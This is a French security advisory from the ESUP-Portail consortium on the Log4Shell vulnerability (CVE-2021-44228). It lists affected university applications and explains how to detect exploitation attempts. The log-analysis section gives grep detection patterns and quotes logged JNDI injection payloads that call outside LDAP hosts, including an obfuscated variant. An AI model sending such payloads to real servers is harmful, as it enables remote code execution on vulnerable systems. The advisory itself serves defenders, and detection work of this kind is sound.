Utilisation et diffusion de ce document

Les avis de sécurité du consortium ESUP-Portail portent sur des vulnérabilités des logiciels diffusés par le consortium. Il est de la responsabilité de chacun des destinataires de ce document de ne pas le rediffuser en dehors du cadre pour lequel il a été écrit, pour des raisons évidentes de sécurité des Systèmes d'Information de tous les établissements du consortium ESUP-Portail.

Objet

Log4shell - CVE-2021-44228 vis à vis des applications ESUP

Référence

ESUP-2021-AVI-001

Date de la première version

12 décembre 2021

Date de la dernière version

16 décembre 2021

Source

CVE-2021-44228

Diffusion de cette version

Publique

Historique

  • 10 décembre 2021 : réception de la faille CVE-2021-44228 et CERTFR-2021-ALE-022 (Damien Berjoan)
  • 10-11 décembre 2021 : reproduction de l'exploit via des POC (Pascal Rigaux)
  • 11 décembre 2021 : état des lieux des applications ESUP affectées (coordination technique)
  • 12 décembre 2021 : rédaction de l'avis (Pascal Rigaux, Vincent Bonamy)
  • 12 décembre 2021 : revue de l'avis (Damien Berjoan)
  • 13 décembre 2021 : envoi de l'avis de sécurité à securite@esup-portail.org
  • 13 décembre 2021 : envoi de l'avis de sécurité à esup-utilisateurs@esup-portail.org
  • 13 décembre 2021 : publication de l'avis
  • 16 décembre 2021 : Elasticsearch 5.x est concernée

Planning prévisionnel

-

Pièces jointes

-

Risque

Systèmes affectés

La faille concerne toutes les versions de log4j 2.x. Elle est corrigée dans la version 2.15.0.

Description

Exemple (simple) avec un serveur Apereo CAS vulnérable (dans les conditions d'exploitation les plus défavorables).

Solutions

NB : il faut redémarrer le service pour appliquer la modification (sauf pour la technique "firewall")

Applications concernées

Apereo CAS

Shibboleth idp

Internet2 Grouper

Applications potentiellement concernées

Nuxeo

Logstash

Solr

ElasticSearch

Applications non concernées

applications java périmètre esup

applications non java

applications java non ESUP dans le périmètre ESR 

Autres applications

Voir cette liste de liens vers les annonces des éditeurs

Librairies log Java

Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.

En java, 3 librairies (implémentations) de logs sont principalement utilisées : log4j, log4j2 et logback.

log4j est la librairie historique : elle est encore très utilisée. log4j est un projet distinct de log4j2

On peut trouver d'anciennes librairies telles que commons-logging qui offrent une couche d'abstraction à log4j.

log4j tend à être remplacée par log4j2 ou logback.

slf4j peut être utilisée comme API (couche d'abstraction) au dessus de ces librairies ; pour le développeur cela permet théoriquement de changer d'implémentation rapidement (passer de log4j2 à logback par exemple).

En tant qu'exploitant vous pouvez retrouver ces librairies sous forme de jar. Au niveau des sources, on retrouve leurs références généralement dans des fichiers pom.xml (maven) ou build.gradle (gradle) ; avec le jeu des dépendances, la référence peut cependant ne pas être explicite.

Vous pouvez aussi +/- retrouver l'implémentation de librairie de logs utilisée suivant les configurations de ces logs ; même si il peut y avoir des variantes, adaptation du développeur, configurations implicites ...  :

Par défaut spring-boot propose l'usage de logback (le développeur peut bien sûr choisir d'utiliser une autre librairie, cf Apereo CAS).

Analyse des logs

Exemple avec un serveur Apereo CAS 

Lors d'une tentative d'authentification, Apereo CAS peut loguer avec log4j-2 le username, l'"adresse ip" (entête http x-forwarded-for lorsqu'on se place derrière un proxy), le user-agent (entête http également qui peut être forgée) ...

Vous pouvez rechercher '${' ou 'Reference Class' ou encore 'javax.el.ELProcessor@' pour voir si une tentative d'exploitation de la faille a été opérée.

Exemple :

grep -e '${' -e 'Reference Class' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log 
2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]>


grep -e '${' -e 'Reference Class' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log 
CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc}
WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For}
CLIENT IP ADDRESS: Reference Class Name: foo

Notes supplémentaires


Dans tous les cas une analyse plus poussée (flux) est à envisager. La prudence reste de mise. L'exécution d'un code arbitraire pouvant altérer l'ensemble du système, dont les journaux eux-mêmes.

Liens